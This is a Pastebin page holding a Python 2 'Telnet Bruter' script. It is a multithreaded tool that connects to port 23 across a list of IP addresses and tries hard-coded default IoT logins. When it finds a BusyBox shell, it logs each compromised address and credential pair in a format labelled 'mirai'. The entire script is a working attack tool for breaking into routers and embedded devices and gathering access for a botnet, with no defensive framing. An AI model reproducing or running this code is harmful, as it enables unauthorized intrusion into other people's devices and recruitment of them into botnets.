Advertisement
mysql_Anarchy

[ PYTHON ] Telnet Bruter

Jun 3rd, 2018
677
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.08 KB | None | 0 0
  1. #Telnet Bruter No False Possitives
  2. import threading
  3. import sys, os, re, time, socket
  4. from Queue import *
  5. from sys import stdout
  6.  
  7. if len(sys.argv) < 4:
  8.     print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  9.     sys.exit()
  10.  
  11. ips = open(sys.argv[1], "r").readlines()
  12. threads = int(sys.argv[2])
  13. output_file = sys.argv[3]
  14. queue = Queue()
  15. queue_count = 0
  16.  
  17. combo = [ #Less Passes = faster
  18.     "support:support",
  19.     "admin:admin",
  20.     "user:user",
  21.     "root:antslq",
  22.     "supervisor:zyad1234",
  23.     "root:xc3511",
  24.     "root:vizxv",
  25.     "root: "
  26. ]
  27.  
  28. for ip in ips:
  29.     queue_count += 1
  30.     stdout.write("\r[%d] Added to queue" % queue_count)
  31.     stdout.flush()
  32.     queue.put(ip)
  33. print "\n"
  34.  
  35. class router(threading.Thread):
  36.     def __init__ (self, ip):
  37.         threading.Thread.__init__(self)
  38.         self.ip = str(ip).rstrip('\n')
  39.     def run(self):
  40.         username = ""
  41.         password = ""
  42.         for passwd in combo:
  43.             if ":n/a" in passwd:
  44.                 password=""
  45.             else:
  46.                 password=passwd.split(":")[1]
  47.             if "n/a:" in passwd:
  48.                 username=""
  49.             else:
  50.                 username=passwd.split(":")[0]
  51.             try:
  52.                 tn = socket.socket()
  53.                 tn.settimeout(8)
  54.                 tn.connect((self.ip,23))
  55.             except Exception:
  56.                 tn.close()
  57.                 break
  58.             try:
  59.                 hoho = ''
  60.                 hoho += readUntil(tn, "ogin:")
  61.                 if "ogin" in hoho:
  62.                     tn.send(username + "\n")
  63.                     time.sleep(0.09)
  64.             except Exception:
  65.                 tn.close()
  66.             try:
  67.                 hoho = ''
  68.                 hoho += readUntil(tn, "assword:")
  69.                 if "assword" in hoho:
  70.                     tn.send(password + "\n")
  71.                     time.sleep(0.8)
  72.                 else:
  73.                     pass
  74.             except Exception:
  75.                 tn.close()
  76.             try:
  77.                 prompt = ''
  78.                 prompt += tn.recv(40960)
  79.                 if ">" in prompt and "ONT" not in prompt:
  80.                     try:
  81.                         tn.send("cat | sh" + "\n")
  82.                         time.sleep(0.1)
  83.                         success = False
  84.                         timeout = 8
  85.                         data = ["BusyBox", "Built-in"]
  86.                         tn.send("sh" + "\n")
  87.                         time.sleep(0.01)
  88.                         tn.send("busybox" + "\r\n")
  89.                         buf = '' # NO FALSE POSSITIVES OVA HERE
  90.                         start_time = time.time()
  91.                         while time.time() - start_time < timeout:
  92.                             buf += tn.recv(40960)
  93.                             time.sleep(0.01)
  94.                             for info in data:
  95.                                 if info in buf and "unrecognized" not in buf:
  96.                                     success = True
  97.                                     break
  98.                     except:
  99.                         pass
  100.                 elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  101.                     try:
  102.                         success = False
  103.                         timeout = 8
  104.                         data = ["BusyBox", "Built-in"]
  105.                         tn.send("sh" + "\n")
  106.                         time.sleep(0.01)
  107.                         tn.send("shell" + "\n")
  108.                         time.sleep(0.01)
  109.                         tn.send("help" + "\n")
  110.                         time.sleep(0.01)
  111.                         tn.send("busybox" + "\r\n")
  112.                         buf = '' # NO FALSE POSSITIVES OVA HERE
  113.                         start_time = time.time()
  114.                         while time.time() - start_time < timeout:
  115.                             buf += tn.recv(40960)
  116.                             time.sleep(0.01)
  117.                             for info in data:
  118.                                 if info in buf and "unrecognized" not in buf:
  119.                                     success = True
  120.                                     break
  121.                     except:
  122.                         pass
  123.                 else:
  124.                     tn.close()
  125.                 if success == True:
  126.                     try:
  127.                         #os.system("echo "+self.ip+" >> "+output_file+"") #1.1.1.1 # bios.txt
  128.                         #os.system("echo "+self.ip+":"+username+":"+password+" >> "+output_file+"")    # 1.1.1.1:user:pass # regular
  129.                         os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  130.                         print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  131.                         tn.close()
  132.                         break
  133.                     except:
  134.                         tn.close()
  135.                 tn.close()
  136.             except Exception:
  137.                 tn.close()
  138.  
  139. def readUntil(tn, string, timeout=8):
  140.     buf = ''
  141.     start_time = time.time()
  142.     while time.time() - start_time < timeout:
  143.         buf += tn.recv(1024)
  144.         time.sleep(0.01)
  145.         if string in buf: return buf
  146.     raise Exception('TIMEOUT!')
  147.  
  148. def worker():
  149.     try:
  150.         while True:
  151.             try:
  152.                 IP = queue.get()
  153.                 thread = router(IP)
  154.                 thread.start()
  155.                 queue.task_done()
  156.                 time.sleep(0.2)
  157.             except:
  158.                 pass
  159.     except:
  160.         pass
  161.  
  162. for l in xrange(threads):
  163.     try:
  164.         t = threading.Thread(target=worker)
  165.         t.start()
  166.         time.sleep(0.01)
  167.     except:
  168.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement